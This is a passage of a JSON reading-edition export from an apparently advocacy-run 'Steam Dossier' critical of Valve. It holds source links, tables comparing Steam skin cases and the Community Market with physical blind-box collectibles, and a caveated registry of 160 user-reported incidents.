            "url": "https://www1.hkexnews.hk/listedco/listconews/sehk/2026/0421/2026042100394.pdf"
          },
          {
            "label": "[E101]",
            "url": "https://store.steampowered.com/news/posts/?appgroupname=Counter-Strike%3A+Global+Offensive&appids=730&enddate=1728000977&feed=steam_community_announcements"
          },
          {
            "label": "[E14]",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "Follow the full chronology ↗",
            "url": "https://phishdestroy.io/steam_dossier/three-games-and-security.html#collectible-rhetoric"
          },
          {
            "label": "[E38]",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "[E09]",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "[E15]",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "[E13]",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "Inspect the dated price record ↗",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html#price-gap"
          },
          {
            "label": "[E15]",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "[E15]",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "E14 · Valve’s statement · 11 Mar 2026 ↗",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "E09 · Subscriber Agreement · §§2.A, 3.D ↗",
            "url": "https://store.steampowered.com/agreement/?l=english#2"
          },
          {
            "label": "[E09]",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "[E15]",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "E26 · Open the exact answer ↗",
            "url": "https://www.reddit.com/r/IAmA/comments/1zkfmv/comment/cfufl39/"
          },
          {
            "label": "E39 · Read the maker’s original post ↗",
            "url": "https://www.bladeforums.com/threads/warenski-wild-rose-a-display-for-gabe.300267/"
          },
          {
            "label": "[E42]",
            "url": "https://help.steampowered.com/en/faqs/view/46A2-2B3C-95CC-8878"
          },
          {
            "label": "[E09]",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "[E27]",
            "url": "https://help.steampowered.com/en/faqs/view/3B6E-B322-2400-8D24"
          },
          {
            "label": "[E32]",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "[E27]",
            "url": "https://help.steampowered.com/en/faqs/view/3B6E-B322-2400-8D24"
          },
          {
            "label": "[E42]",
            "url": "https://help.steampowered.com/en/faqs/view/46A2-2B3C-95CC-8878"
          },
          {
            "label": "[E32]",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "Inspect the Market and Wallet boundary ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#market-losses"
          },
          {
            "label": "Read the theft and recovery ledger ↗",
            "url": "https://phishdestroy.io/steam_dossier/#insider-threat"
          },
          {
            "label": "Inspect the correspondence evidence ↗",
            "url": "https://phishdestroy.io/steam_dossier/#official-memorandum"
          },
          {
            "label": "[E27]",
            "url": "https://help.steampowered.com/en/faqs/view/3B6E-B322-2400-8D24"
          },
          {
            "label": "[E42]",
            "url": "https://help.steampowered.com/en/faqs/view/46A2-2B3C-95CC-8878"
          },
          {
            "label": "The theft and recovery ledger ↗",
            "url": "https://phishdestroy.io/steam_dossier/#insider-threat"
          },
          {
            "label": "The canned-refusal support archive ↗",
            "url": "https://phishdestroy.io/steam_dossier/support_canned_refusals"
          },
          {
            "label": "RELATED ECONOMIC RECORDThe market above Steam’s listing ceilingInspect the dated prices and settlement system ↗",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html#price-gap"
          },
          {
            "label": "[E19]",
            "url": "https://fr.scribd.com/document/328063293/Valve-s-Oct-18th-response-to-Washington-State-Gambling-Commission-s-cease-and-desist"
          },
          {
            "label": "[E14]",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "E19 · Valve counsel’s letter to the WSGC · 17 October 2016 ↗",
            "url": "https://fr.scribd.com/document/328063293/Valve-s-Oct-18th-response-to-Washington-State-Gambling-Commission-s-cease-and-desist"
          },
          {
            "label": "E19 · Valve counsel’s letter to the WSGC · 17 October 2016 ↗",
            "url": "https://fr.scribd.com/document/328063293/Valve-s-Oct-18th-response-to-Washington-State-Gambling-Commission-s-cease-and-desist"
          },
          {
            "label": "E08 · Read the original statement ↗",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "Inspect the sponsorship record ↗",
            "url": "https://phishdestroy.io/steam_dossier/major-and-sponsors.html#sponsors"
          },
          {
            "label": "[E37]",
            "url": "https://ag.ny.gov/press-release/2026/attorney-general-james-sues-game-developer-promoting-illegal-gambling-through"
          },
          {
            "label": "[E08]",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "[E63]",
            "url": "https://blog.counter-strike.net/2018/03/20308/"
          },
          {
            "label": "[E64]",
            "url": "https://csgoempire.com/faq"
          },
          {
            "label": "[E65]",
            "url": "https://csgofast.gg/faq/market/0"
          },
          {
            "label": "[E66]",
            "url": "https://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A"
          },
          {
            "label": "[E32]",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "THE FINANCIAL CONSEQUENCEThe user supplies the item. The operator controls the balance.Trace the ledger, restrictions and scarcity rationale ↗",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html#ban-economics"
          },
          {
            "label": "E14 · Inspect the statement ↗",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E42]",
            "url": "https://help.steampowered.com/en/faqs/view/46A2-2B3C-95CC-8878"
          },
          {
            "label": "[E04]",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "[E09]",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "[E41]",
            "url": "https://store.steampowered.com/online_conduct/"
          },
          {
            "label": "[E09]",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "[E42]",
            "url": "https://help.steampowered.com/en/faqs/view/46A2-2B3C-95CC-8878"
          },
          {
            "label": "[E87]",
            "url": "https://help.steampowered.com/en/faqs/view/4F62-35F9-F395-5C23"
          },
          {
            "label": "[E87]",
            "url": "https://help.steampowered.com/en/faqs/view/4F62-35F9-F395-5C23"
          },
          {
            "label": "Separate the user’s loss from the operator’s outcome ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#restriction-model"
          },
          {
            "label": "[E42]",
            "url": "https://help.steampowered.com/en/faqs/view/46A2-2B3C-95CC-8878"
          },
          {
            "label": "Theft and recovery record ↗",
            "url": "https://phishdestroy.io/steam_dossier/#insider-threat"
          },
          {
            "label": "Requests and closed responses ↗",
            "url": "https://phishdestroy.io/steam_dossier/#gdpr-live-case"
          },
          {
            "label": "Contract against the operating system ↗",
            "url": "https://phishdestroy.io/steam_dossier/#tos-structural-void"
          },
          {
            "label": "Read the memorandum and attribution ↗",
            "url": "https://phishdestroy.io/steam_dossier/#official-memorandum"
          },
          {
            "label": "Inspect the aggregate audit ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json"
          },
          {
            "label": "Inspect the dated ticket and screenshots ↗",
            "url": "https://phishdestroy.io/steam_dossier/#gdpr-live-case"
          },
          {
            "label": "Support exhibit archive ↗",
            "url": "https://phishdestroy.io/steam_dossier/support_canned_refusals"
          },
          {
            "label": "Source-by-source review record ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/page-split-2026-10-10/capability-source-record.json"
          },
          {
            "label": "[E14]",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "E22 · Newell’s original post ↗",
            "url": "https://www.reddit.com/r/gaming/comments/1y70ej/valve_vac_and_trust/"
          },
          {
            "label": "E22 · Newell’s original post ↗",
            "url": "https://www.reddit.com/r/gaming/comments/1y70ej/valve_vac_and_trust/"
          },
          {
            "label": "E21 · Open the audit and file hash ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json"
          },
          {
            "label": "Read the request and the closure ↗",
            "url": "https://phishdestroy.io/steam_dossier/#gdpr-live-case"
          },
          {
            "label": "Read the minors-protection section ↗",
            "url": "https://phishdestroy.io/steam_dossier/#minors-protection"
          },
          {
            "label": "NEW / THE EXISTING SYSTEM UNDER SCRUTINYData collected. Rules enforced. Remedies demanded.Device and location signals · Netherlands 2026 · Wallet age gap · AmEx reports · Smirnov court record ↗",
            "url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement.html"
          },
          {
            "label": "Personal collections and circulation ↗",
            "url": "https://phishdestroy.io/steam_dossier/three-games-and-security.html#personal-value"
          },
          {
            "label": "Architecture and corporate independence ↗",
            "url": "https://phishdestroy.io/steam_dossier/three-games-and-security.html#corporate-autonomy"
          },
          {
            "label": "Farm economics and enforcement ↗",
            "url": "https://phishdestroy.io/steam_dossier/three-games-and-security.html#farm-business-model"
          },
          {
            "label": "Reviews used to recruit trust ↗",
            "url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives.html"
          },
          {
            "label": "01 / VALVE & ENFORCEMENTThe public defenceStatement, contract, restrictions and retained data↗",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html"
          },
          {
            "label": "02 / ECONOMIC RECORDThe gambling systemC2C delivery, internal value and settlement↗",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html"
          },
          {
            "label": "03 / TECHNICAL RECORDSteam accessCredentials, authentication and dated filter checks↗",
            "url": "https://phishdestroy.io/steam_dossier/steam-access.html"
          },
          {
            "label": "04 / IDENTITY RECORDDocuments & AMLFourteen document groups, entities and policy defects↗",
            "url": "https://phishdestroy.io/steam_dossier/aml-data.html"
          },
          {
            "label": "05 / SPONSOR RULES & SKINSThe boundary Valve enforces.Named sponsors, dated licence rules and cosmetic exclusivity↗",
            "url": "https://phishdestroy.io/steam_dossier/major-and-sponsors.html"
          },
          {
            "label": "06 / PRIVACY & ENFORCEMENTExisting data. Selective privacy.Regional rules, Wallet, payment restrictions and moderation↗",
            "url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement.html"
          },
          {
            "label": "07 / THREE GAMES & SECURITYThree games. Unequal protection.The Canadian order, TF2 remedies, keys, security and farm economics↗",
            "url": "https://phishdestroy.io/steam_dossier/three-games-and-security.html"
          },
          {
            "label": "08 / MONEY & ENFORCEMENTFollow the payment.Funding routes, cash-out terms and enforcement counters↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html"
          },
          {
            "label": "09 / SESSION & TRADE TRACKINGInside the Steam session.Empire, Roll and Fast: access, monitoring and confirmation↗",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html"
          },
          {
            "label": "10 / EXTENSION EVIDENCEInspect the packages.Roll and SIH permissions, code paths and retained specimens↗",
            "url": "https://phishdestroy.io/steam_dossier/extension-audit.html"
          },
          {
            "label": "11 / CSGOFAST & SIHTen years after the crackdown.Screenshots, remote tasks, authenticator control and 33 code records↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html"
          },
          {
            "label": "12 / REVIEWS & INCENTIVESA rating becomes the entry ticket.84 contest records, developer replies and the review corpus↗",
            "url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives.html"
          },
          {
            "label": "the gambling-system chapter",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html"
          },
          {
            "label": "Steam access",
            "url": "https://phishdestroy.io/steam_dossier/steam-access.html"
          },
          {
            "label": "the package audit",
            "url": "https://phishdestroy.io/steam_dossier/extension-audit.html"
          },
          {
            "label": "https://store.steampowered.com/agreement/?l=english",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/4F62-35F9-F395-5C23",
            "url": "https://help.steampowered.com/en/faqs/view/4F62-35F9-F395-5C23"
          },
          {
            "label": "https://store.steampowered.com/privacy_agreement/",
            "url": "https://store.steampowered.com/privacy_agreement/"
          },
          {
            "label": "https://ag.ny.gov/press-release/2026/attorney-general-james-sues-game-developer-promoting-illegal-gambling-through",
            "url": "https://ag.ny.gov/press-release/2026/attorney-general-james-sues-game-developer-promoting-illegal-gambling-through"
          },
          {
            "label": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/46A2-2B3C-95CC-8878",
            "url": "https://help.steampowered.com/en/faqs/view/46A2-2B3C-95CC-8878"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/05_players_all.csv",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/05_players_all.csv"
          },
          {
            "label": "https://blog.counter-strike.net/2013/09/7614/",
            "url": "https://blog.counter-strike.net/2013/09/7614/"
          },
          {
            "label": "https://blog.counter-strike.net/server_guidelines/",
            "url": "https://blog.counter-strike.net/server_guidelines/"
          },
          {
            "label": "https://touchskins.io/",
            "url": "https://touchskins.io/"
          },
          {
            "label": "https://store.steampowered.com/tourney/limited_license",
            "url": "https://store.steampowered.com/tourney/limited_license"
          },
          {
            "label": "https://github.com/ValveSoftware/counter-strike_rules_and_regs/commit/8594dc0cc8f8cd9ea9564af46e453fc673246cbd",
            "url": "https://github.com/ValveSoftware/counter-strike_rules_and_regs/commit/8594dc0cc8f8cd9ea9564af46e453fc673246cbd"
          },
          {
            "label": "https://press.pglesports.com/184398-ggbet-is-now-the-exclusive-betting-partner-of-pgl-major-antwerp-2022from-april-4-to-10-ggbet-will-be-offering-10-no-deposit-cashback-to-celebrate-the-announcement-of-this-partnership",
            "url": "https://press.pglesports.com/184398-ggbet-is-now-the-exclusive-betting-partner-of-pgl-major-antwerp-2022from-april-4-to-10-ggbet-will-be-offering-10-no-deposit-cashback-to-celebrate-the-announcement-of-this-partnership"
          },
          {
            "label": "https://news.cision.com/blast/r/blast-partners-with-esports-and-video-games-betting-platform-unikrn,c3743069",
            "url": "https://news.cision.com/blast/r/blast-partners-with-esports-and-video-games-betting-platform-unikrn,c3743069"
          },
          {
            "label": "https://press.pglesports.com/289168-1xbet-is-the-official-betting-partner-of-the-pgl-cs2-copenhagen-major-2024",
            "url": "https://press.pglesports.com/289168-1xbet-is-the-official-betting-partner-of-the-pgl-cs2-copenhagen-major-2024"
          },
          {
            "label": "https://csgoempire.com/faq",
            "url": "https://csgoempire.com/faq"
          },
          {
            "label": "https://csgofast.gg/faq/market/0",
            "url": "https://csgofast.gg/faq/market/0"
          },
          {
            "label": "https://steamcommunity.com/ogg/730/announcements/detail/518615049848226730",
            "url": "https://steamcommunity.com/ogg/730/announcements/detail/518615049848226730"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/783F-5E0F-9834-22D2",
            "url": "https://help.steampowered.com/en/faqs/view/783F-5E0F-9834-22D2"
          },
          {
            "label": "https://www1.hkexnews.hk/listedco/listconews/sehk/2026/0421/2026042100394.pdf",
            "url": "https://www1.hkexnews.hk/listedco/listconews/sehk/2026/0421/2026042100394.pdf"
          },
          {
            "label": "https://store.steampowered.com/news/posts/?appgroupname=Counter-Strike%3A+Global+Offensive&appids=730&enddate=1728000977&feed=steam_community_announcements",
            "url": "https://store.steampowered.com/news/posts/?appgroupname=Counter-Strike%3A+Global+Offensive&appids=730&enddate=1728000977&feed=steam_community_announcements"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/3B6E-B322-2400-8D24",
            "url": "https://help.steampowered.com/en/faqs/view/3B6E-B322-2400-8D24"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "https://fr.scribd.com/document/328063293/Valve-s-Oct-18th-response-to-Washington-State-Gambling-Commission-s-cease-and-desist",
            "url": "https://fr.scribd.com/document/328063293/Valve-s-Oct-18th-response-to-Washington-State-Gambling-Commission-s-cease-and-desist"
          },
          {
            "label": "https://store.steampowered.com/oldnews/22883",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "https://blog.counter-strike.net/2018/03/20308/",
            "url": "https://blog.counter-strike.net/2018/03/20308/"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A",
            "url": "https://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A"
          },
          {
            "label": "https://www.csgoroll.com/blog/steam-p2p-solution/",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "https://store.steampowered.com/online_conduct/",
            "url": "https://store.steampowered.com/online_conduct/"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "The four roles behind the fee",
            "rows": [
              [
                "Role in the transaction",
                "A blind-box maker\nBaseball cards · Pokémon · Labubu",
                "Valve inside Steam\nIssuer and operator"
              ],
              [
                "Mints the random outcome",
                "The contents are sealed at the factory.",
                "Case contents are generated by Valve."
              ],
              [
                "Sells the chance",
                "The pack carries a fixed price.",
                "Case and key are priced by Valve."
              ],
              [
                "Operates the resale venue",
                "Resale happens outside the maker’s systems.",
                "Valve operates the Steam Community Market. [E15]"
              ],
              [
                "Collects a fee when the outcome is monetised",
                "No share of a resale reaches the maker.",
                "A combined fee of roughly 15% per Market transaction. [E15]"
              ]
            ]
          },
          {
            "id": "table-2",
            "caption": "What the physical-collectible analogy leaves out",
            "rows": [
              [
                "Relationship",
                "An ordinary direct resale\nA physical card or toy",
                "A Steam item transfer\nInside Valve’s system"
              ],
              [
                "After the first purchase",
                "The buyer holds a physical object that can be handed to someone else.",
                "The user holds transferable licence rights governed by Steam’s agreement. [E09]"
              ],
              [
                "The original maker’s role",
                "A direct handover does not require the manufacturer to run or approve the exchange.",
                "Valve operates the market and the infrastructure that records the transfer."
              ],
              [
                "An account is restricted",
                "The maker’s decision about an online account does not physically remove the card or toy from its holder.",
                "The operator can disable the account permissions needed to move the digital item."
              ],
              [
                "What the seller receives",
                "The payment agreed between the people making that direct sale.",
                "On Steam’s Market: Wallet credit. In an outside platform transaction: the return defined by that platform’s settlement system. [E15]"
              ]
            ]
          },
          {
            "id": "table-3",
            "caption": "Apply the physical-collection analogy all the way through",
            "rows": [
              [
                "The collector’s situation",
                "A physical knife",
                "A Steam skin"
              ],
              [
                "Keeping the collection",
                "The object remains in the collector’s physical custody independently of the maker’s online account.",
                "Access and transfer depend on Steam’s account and item permissions."
              ],
              [
                "A dispute with the maker",
                "An account decision cannot remotely remove the knife from its holder.",
                "A trade restriction can immobilise the item inside the account. [E42]"
              ],
              [
                "Passing it on or leaving it to heirs",
                "The physical object can be delivered to its next holder.",
                "Succession confronts a personal account, restricted account transfer and platform-controlled item transfers. [E09]"
              ],
              [
                "A high resale price",
                "The collector still holds a physical object.",
                "A quoted cash price does not change the platform’s licence grant or remove its power over access."
              ],
              [
                "Recovery after theft",
                "Recovering the object restores physical possession.",
                "Account recovery, item restoration and trade reversal are separate processes controlled by the platform’s systems and rules. [E27] [E32]"
              ]
            ]
          },
          {
            "id": "table-4",
            "caption": "Put the stated policy beside the mechanism",
            "rows": [
              [
                "Component",
                "2016 / Washington",
                "2026 / New York"
              ],
              [
                "Distance from operators",
                "No business relationship or revenue from the outside sites.",
                "No cooperation with gambling sites."
              ],
              [
                "Infrastructure defended",
                "Trading and OpenID benefit Steam users and game makers.",
                "Item transferability is defended as a consumer right."
              ],
              [
                "Action reported",
                "Letters to more than 40 sites and associated accounts disabled.",
                "More than one million accounts locked across gambling, fraud and theft."
              ],
              [
                "Objection to intervention",
                "Turning off lawful services would affect legitimate uses.",
                "Removing transfers would take an existing ability away from users."
              ],
              [
                "Who should define the legal boundary?",
                "Valve asks the Commission to identify the criminal law it says Valve violates.",
                "Valve promises compliance if the legislature adopts laws governing mystery boxes."
              ]
            ]
          }
        ],
        "cited_source_ids": [
          "E09",
          "E50",
          "E87",
          "E71",
          "E37",
          "E38",
          "E14",
          "E42",
          "E51",
          "E52",
          "E60",
          "E61",
          "E53",
          "E54",
          "E55",
          "E56",
          "E57",
          "E64",
          "E65",
          "E77",
          "E21",
          "E82",
          "E111",
          "E101",
          "E15",
          "E13",
          "E27",
          "E32",
          "E19",
          "E08",
          "E63",
          "E66",
          "E04",
          "E41"
        ]
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv",
          "sha256": "b22fada53521050f448c7a9f0fe11ce54ed86a972ff6f40c613716e8c7c50f73",
          "bytes": 746
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/05_players_all.csv",
          "sha256": "87160fe27c8a00ac8211c7b7ed70a758befb0aba28d800773b5042a9cd9a06f4",
          "bytes": 33840
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json",
          "sha256": "971a37262865935b4057cc84f26c07fdf22b77006643e84eb21a99b18e124bc1",
          "bytes": 154697
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/page-split-2026-10-10/capability-source-record.json",
          "sha256": "adf5ebcc525744dc9dd2f116c8b0bb5b60639bda0c32831d145b67fa88ee8c06",
          "bytes": 1937
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "valve_scandals_registry",
      "language": "en",
      "title": "Valve Scandals Registry — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/valve_scandals_registry",
      "source_file": "steam_dossier/valve_scandals_registry.html",
      "source_html_sha256": "9cb6d921e096538806140a92c30a18e6bf1b9474fb6c021c1bf4f9a5a768adea",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [
          {
            "kind": "interactive_collection",
            "label": "Search the 160 source-linked registry records online.",
            "url": "https://phishdestroy.io/steam_dossier/valve_scandals_registry"
          }
        ],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "valve_scandals_registry.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/valve_scandals_registry.pdf",
        "sha256": "03fb1f986eb1d880e1b37d4803eb9dd08c7f842f38afec7b1466a62fa63e7746",
        "bytes": 178494,
        "pages": 5
      },
      "integrity": {
        "signed_object": "valve_scandals_registry.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/valve_scandals_registry.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/valve_scandals_registry.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nMaster scandal archive\nValve Scandals Master Registry — 160 Sourced Incidents\n\nReported. Sourced. Still open.\n\nWHAT THIS SECTION PROVES\n\nThis registry collects 160 source-linked records: user reviews, removed community posts, public issue reports and incident references concerning Valve's ecosystem. Each record should be assessed through its linked source, date and context. Inclusion in this collection is not independent verification of every allegation, and a report's disappearance does not by itself establish who removed it or why.\n\n18 October 2026 · scope clarification. Earlier wording described all records as independently verified. The collection supports inspection of the linked reports; titles and categories are editorial summaries, and user accounts remain reported claims unless corroborated by additional evidence.\n\n← Back to Executive briefing\n\nExplore the 160 collected records by category, then open the original source. Titles and categories summarize the retained material; they are not a substitute for reading it. Check whether a source is a first-person account, an issue report, a publication or an official record before drawing conclusions.\n\nSource Records\n—\nAcross all categories\nPlatform Flaws\n—\nCommunity-reported platform flaws\nRemoved threads\n—\nModerator-removed Reddit posts\nSupport Complaints\n—\nCollected Trustpilot reviews\nEnforcement feasibility\nAuth-host domain blocking\n\nDomain-level blocking of OpenID authentication hosts is technically straightforward to implement: once a resource is barred from Steam login redirection, third-party domains acting as authentication proxies for that same resource can be filtered by the same rule set. A detailed discussion of implementation feasibility is provided in the main dossier.\n\nSee enforcement feasibility in the dossier →\n\nSearch the 160 source-linked registry records online.",
        "headings": [
          {
            "level": 1,
            "text": "Valve Scandals Master Registry — 160 Sourced Incidents",
            "anchor": "pd-valve_scandals_registry--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/valve_scandals_registry"
          },
          {
            "level": 2,
            "text": "Auth-host domain blocking",
            "anchor": "pd-valve_scandals_registry--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/valve_scandals_registry"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/valve_scandals_registry"
          },
          {
            "label": "← Back to Executive briefing",
            "url": "https://phishdestroy.io/steam_dossier/index.html#briefing-heading"
          },
          {
            "label": "See enforcement feasibility in the dossier →",
            "url": "https://phishdestroy.io/steam_dossier/#autoban-feasibility-section"
          },
          {
            "label": "Search the 160 source-linked registry records online.",
            "url": "https://phishdestroy.io/steam_dossier/valve_scandals_registry"
          }
        ],
        "tables": [],
        "cited_source_ids": []
      },
      "resources": []
    }
  ]
}
